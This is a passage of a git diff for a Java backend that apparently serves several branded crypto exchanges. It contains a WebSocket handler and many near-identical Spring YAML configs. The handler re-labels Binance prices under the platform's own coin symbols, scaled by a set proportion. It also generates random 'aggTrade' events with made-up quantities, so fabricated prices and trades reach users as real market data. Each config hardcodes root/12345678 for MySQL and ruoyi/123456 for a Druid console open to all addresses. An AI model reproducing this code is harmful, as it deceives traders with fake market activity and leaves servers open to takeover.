webSocketUserManager.binanceTRADESendMeg(event); + } + } + } + //处理detail + if(message.contains("24hrTicker")){ + JSONArray arr = JSONArray.parseArray(message); + for (int i = 0; i < arr.size(); i++) { + JSONObject obj = JSON.parseObject(arr.get(i).toString()); + String event = obj.toString(); + webSocketUserManager.savePriceRdies(event); + if(allCoins.contains(obj.getString("s").toLowerCase())){ + webSocketUserManager.binanceDETAILSendMeg(event); + String s = event; + for (KlineSymbol kSymbol : coinList) { + if((obj.getString("s").toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event= ownDetail(s,kSymbol); + webSocketUserManager.binanceDETAILSendMeg(event); + } + } + } + } + } + + } + + @Override + public void onClose(int code, String reason, boolean remote) { + System.out.println("WebSocket connection closed. Code: " + code + ", Reason: " + reason); + if(-1 != code){ + reconnectWebSocket(); + } + } + + @Override + public void onError(Exception e) { + System.err.println(e); + System.err.println("WebSocket error: " + e.getMessage()); + reconnectWebSocket(); + } + + private void reconnectWebSocket() { + reconnectTimer.schedule(new TimerTask() { + @Override + public void run() { + reconnect(); + System.out.println("Attempting to reconnect to WebSocket..."); + } + }, RECONNECT_INTERVAL); + } + + private String ownDetail(String event,KlineSymbol kSymbol) { + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + BigDecimal o = new BigDecimal(jsonObject.getString("o")); + BigDecimal h = new BigDecimal(jsonObject.getString("h")); + BigDecimal l = new BigDecimal(jsonObject.getString("l")); + BigDecimal c = new BigDecimal(jsonObject.getString("c")); + BigDecimal q = new BigDecimal(jsonObject.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownTrade(String event,KlineSymbol kSymbol ) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal p = new BigDecimal(jsonObject.getString("p")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("p",p.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + + private String ownKline(String event,KlineSymbol kSymbol) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject k = jsonObject.getJSONObject("k"); + BigDecimal o = new BigDecimal(k.getString("o")); + BigDecimal h = new BigDecimal(k.getString("h")); + BigDecimal l = new BigDecimal(k.getString("l")); + BigDecimal c = new BigDecimal(k.getString("c")); + BigDecimal q = new BigDecimal(k.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("k",k); + return jsonObject.toJSONString(); + } + private String createEvent(String event) { + JSONObject jsonObject = JSONObject.parseObject(event); + String k = jsonObject.getString("k"); + JSONObject K = JSONObject.parseObject(k); + + String s = jsonObject.getString("s"); + String E = jsonObject.getString("E"); + String T = K.getString("T"); + + BigDecimal p =new BigDecimal(K.getString("c")); + BigDecimal q = null; + // 根据价格 生成随机成交数量 0-1 50--2000 价格 1-10 200以内 价格 10-50 0-20 价格50-5000 0.00005000 以内随机数 5000+以上 0.000005000 + Integer randomBoolean=new Random().nextInt(2); //这儿是生成的小于100的整数,nextInt方法的参数值要是大于0的整数 + Boolean m = randomBoolean>0?true:false; + // 产生一个2~100的数 + if(p.compareTo(BigDecimal.ONE)<0){ + int min = 50; // 定义随机数的最小值 + int max = 2000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("1"))>0 && p.compareTo(new BigDecimal("10"))<0){ + int max = 2000; // 定义随机数的最大值 + Integer random = (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("10"))>0 && p.compareTo(new BigDecimal("50"))<0){ + int max = 20; // 定义随机数的最大值 + Integer random = + (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("50"))>0 && p.compareTo(new BigDecimal("5000"))<0){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("1000000")); + } + if(p.compareTo(new BigDecimal("5000"))>0 ){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("10000000")); + } + String str = "{'e':'aggTrade','E':'"+E+"','s':'"+s+"','p':'"+p+"','q':'"+q.toString()+"','T':'"+T+"','m':'"+m+"'}"; + return str; + } +} diff --git a/ruoyi-api/src/main/resources/META-INF/spring-devtools.properties b/ruoyi-api/src/main/resources/META-INF/spring-devtools.properties new file mode 100644 index 0000000..2b23f85 --- /dev/null +++ b/ruoyi-api/src/main/resources/META-INF/spring-devtools.properties @@ -0,0 +1 @@ +restart.include.json=/com.alibaba.fastjson.*.jar \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-aams.yml b/ruoyi-api/src/main/resources/application-aams.yml new file mode 100644 index 0000000..fe9c242 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-aams.yml @@ -0,0 +1,95 @@ +app: + name: aams +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/aams?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bitbyex.yml b/ruoyi-api/src/main/resources/application-bitbyex.yml new file mode 100644 index 0000000..8feaa26 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bitbyex.yml @@ -0,0 +1,96 @@ +app: + name: bitbyex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitbyex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bitfly.yml b/ruoyi-api/src/main/resources/application-bitfly.yml new file mode 100644 index 0000000..c39a14b --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bitfly.yml @@ -0,0 +1,95 @@ +app: + name: bityc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitfly?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bitmake.yml b/ruoyi-api/src/main/resources/application-bitmake.yml new file mode 100644 index 0000000..b959578 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bitmake.yml @@ -0,0 +1,95 @@ +app: + name: bitmake +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitmake?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bityc.yml b/ruoyi-api/src/main/resources/application-bityc.yml new file mode 100644 index 0000000..3c5ad7f --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bityc.yml @@ -0,0 +1,95 @@ +app: + name: bityc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bityc?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bkfcoin.yml b/ruoyi-api/src/main/resources/application-bkfcoin.yml new file mode 100644 index 0000000..046c2e1 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bkfcoin.yml @@ -0,0 +1,96 @@ +app: + name: bkfcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bkfcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-cmwoin.yml b/ruoyi-api/src/main/resources/application-cmwoin.yml new file mode 100644 index 0000000..1125602 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-cmwoin.yml @@ -0,0 +1,96 @@ +app: + name: cmwoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/cmwoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-coinang.yml b/ruoyi-api/src/main/resources/application-coinang.yml new file mode 100644 index 0000000..5cd29ab --- /dev/null +++ b/ruoyi-api/src/main/resources/application-coinang.yml @@ -0,0 +1,96 @@ +app: + name: coinang +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinang?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-coinmarketcap.yml b/ruoyi-api/src/main/resources/application-coinmarketcap.yml new file mode 100644 index 0000000..0741558 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-coinmarketcap.yml @@ -0,0 +1,95 @@ +app: + name: coinmarketcap +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinmarketcap?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-coinsexpto.yml b/ruoyi-api/src/main/resources/application-coinsexpto.yml new file mode 100644 index 0000000..5290654 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-coinsexpto.yml @@ -0,0 +1,95 @@ +app: + name: coinsexpto +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinsexpto?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + 